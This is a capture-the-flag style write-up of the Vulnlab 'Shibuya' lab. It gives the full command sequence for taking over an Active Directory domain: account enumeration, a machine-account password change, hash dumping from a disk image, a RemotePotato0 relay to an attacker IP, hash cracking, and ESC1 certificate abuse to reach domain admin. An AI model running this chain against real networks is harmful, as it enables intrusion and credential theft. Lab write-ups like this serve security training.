VL-Shibuya

,

VL-Shibuya: Active Directory Penetration Testing Walkthrough

This comprehensive Vulnlab - Hack The Box walkthrough details my step-by-step approach to compromising the Shibuya Active Directory environment. Starting with initial enumeration and discovery of a pre-created machine account, I leveraged various offensive security techniques including Kerberos authentication, password spraying, and registry hive extraction to gain a foothold. The attack path progressed through cross-session relay attacks and ultimately achieved domain admin privileges via vulnerable certificate templates (ESC1). This penetration testing guide demonstrates practical exploitation of common Active Directory security misconfigurations found in enterprise environments, providing valuable insights for both offensive security professionals and defenders.

SMB Enumeration

First, I checked for null sessions, but access was denied:

1
netexec smb shibuya.vl -u 'hello' -p '' --shares

SMB Null Session Attempt

User Enumeration

I used Kerbrute to identify valid users in the domain:

1
./kerbrute userenum --dc 10.10.82.222 -d shibuya.vl /usr/share/wordlists/seclists/Usernames/Names/names.txt

Valid User Discovery

Exploiting Pre-created Machine Account

I discovered a machine account named RED$ which was pre-created. According to Microsoft documentation, these accounts can have their passwords changed:

1
netexec smb shibuya.vl -u 'RED$' -p 'red' --shares

Pre-created Machine Account
We can authenticate using Kerberos:

1
netexec smb shibuya.vl -u 'RED$' -p 'red' --shares --kerberos

Kerberos Authentication
I changed the password for easier access:

1
impacket-changepasswd 'shibuya.vl/RED$':red@shibuya.vl -newpass 'HelloWorld123@' -dc-ip AWSJPDC0522.shibuya.vl -p rpc-samr

Password Change

Share Access and Enumeration

With our new credentials, I connected to the shares:

1
smbclient //10.10.82.222/users -U 'RED$'

SMB Access
Found users:

1
2
3
4
5
6
Administrator
All Users
Default
Default User
nigel.mills
simon.watson

Service Account Discovery

I enumerated users and found an interesting service account with credentials in the description:

1
netexec smb shibuya.vl -u 'RED$' -p 'HelloWorld123@' --users

Service Account
Found credentials: svc_autojoin : <HELLNO>
Using these credentials allowed access to more shares:

1
netexec smb shibuya.vl -u 'svc_autojoin' -p '' --shares

More Shares

Registry Hive Extraction

I connected to an images share with potentially useful data:

1
smbclient //10.10.82.222/images$ -U 'svc_autojoin'

Images Share
I extracted a Windows Image (WIM) file containing registry hives:

1
smbclient //10.10.82.222/images$ -U 'svc_autojoin' -c 'timeout 120; iosize 16384; get \AWSJPWK0222-02.wim'
1
sudo wimmountrw AWSJPWK0222-02.wim 1 /mnt/wim_mount

After mounting, I extracted the SAM, SYSTEM, and SECURITY hives and ran secretsdump:

1
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

Registry Hives
From the output, I found interesting hashes, including an operator hash and a cached domain logon:

1
2
[*] Dumping cached domain logon information (domain/username:hash)
SHIBUYA.VL/Simon.Watson:$DCC2$10240#Simon.Watson#04b20c71b23baf7a3025f40b3409e325: (2025-02-16 11:17:56)

Gaining User Access

The hash for Simon didn’t work directly, but password spraying with the operator hash worked:

1
netexec smb shibuya.vl -u 'Simon.Watson' -H <HASH> --shares

Simon Watson Access
While WinRM didn’t work, I remembered port 22 (SSH) was open. I uploaded an SSH key via SMB to gain shell access:

1
netexec smb shibuya.vl -u 'Simon.Watson' -H <HASH> --shares
1
ssh-keygen -t rsa -b 4096 -f simon
1
smbclient //10.10.78.105/users -U shibuya.vl/Simon.Watson --pw-nt-hash <HASH> -c 'mkdir simon.watson/.ssh; put /home/kali/.ssh/simon.w.pub simon.watson/.ssh/authorized_keys'
1
ssh -i ~/.ssh/simon Simon.Watson@10.10.94.60

SSH Access

Active Directory Reconnaissance

I uploaded SharpHound to collect AD data:

1
.\SharpHound.exe -c All

Downloaded the results for analysis:

1
smbclient //10.10.78.105/users -U shibuya.vl/Simon.Watson --pw-nt-hash <HASH> -c 'get "simon.watson/20250410065413_BloodHound.zip" Shibuya_BloodHound.zip'

Cross-Session Relay Attack

BloodHound analysis revealed two users with active sessions: Simon.Watson (which we already owned) and Nigel.Mills. I decided to perform a cross-session relay attack to compromise Nigel.Mills’s account.
Cross Session Attack
First, I uploaded RemotePotato0 (which evades antivirus detection):

1
smbclient //10.10.78.105/users -U shibuya.vl/Simon.Watson --pw-nt-hash 5d8c3d1a20bd63f60f469f6763ca0d50 -c 'put /home/panosoiko/Downloads/RemotePotato0.exe simon.watson/RemotePotato0.exe'

On the victim machine:

1
.\RemotePotato0.exe -m 2 -s 1 -x 10.8.5.195 -p 8080

On the attacker machine:

1
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.78.105:8080

Nigel Mills Access
I cracked the captured hash:

1
hashcat -m 5600 hash322.txt /usr/share/wordlists/rockyou.txt

Cracked Hash
Credentials obtained: nigel.mills : Sail2.......

Privilege Escalation via Certificate Templates

BloodHound revealed that Nigel could RDP to the machine and had certificate enrollment permissions:
RDP Access
Certificate Enrollment
I set up an SSH tunnel to access LDAP services:

1
ssh -R 1080 -N sshuser@10.8.5.195

Used Certipy to analyze the certificate templates:

1
proxychains4 -q certipy find -target 10.10.78.105 -dc-ip 10.10.78.105 -u 'nigel.mills@shibuya.vl' -p '' -debug

Certipy Results
Found vulnerabilities in ESC1, ESC2, and ESC3. Decided to exploit ESC1 as it’s the easiest:
ESC1 Vulnerability
First attempt at exploiting the certificate template:

1
proxychains4 -q certipy req -dc-ip 10.10.78.105 -target-ip 10.10.78.105 -template ShibuyaWeb -ca shibuya-AWSJPDC0522-CA -u nigel.mills@shibuya.vl -p '' -upn administrator@shibuya.vl -key-size 4096 -debug

Admin Key
No Admin Access
This didn’t work. Looking closer at the template, I noticed that _admin was the owner:

1
2
Object Control Permissions
   Owner: SHIBUYA.VL\_admin

Due to certificate-based authentication changes (KB5014754), I needed to include the SID when requesting a certificate:
https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16?preview=true

1
proxychains4 -q certipy req -u nigel.mills@shibuya.vl -p PASS -ca shibuya-AWSJPDC0522-CA -target 10.10.78.105 -target-ip 10.10.78.105 -template ShibuyaWeb -upn '_admin@shibuya.vl' -key-size 4096 -sid 'S-1-5-21-87560095-894484815-3652015022-500' -debug
1
proxychains4 -q certipy auth -pfx _admin.pfx -dc-ip 10.10.78.105

Domain Admin Access
Finally, I used Evil-WinRM to access the domain controller as _admin:

1
proxychains4 -q evil-winrm -i 10.10.78.105 -u '_admin' -H <HASH>

Success! Domain admin access achieved.

https://api.vulnlab.com/api/v1/share?id=1e23a5da-28c7-4613-b7ed-b106bc9b90b0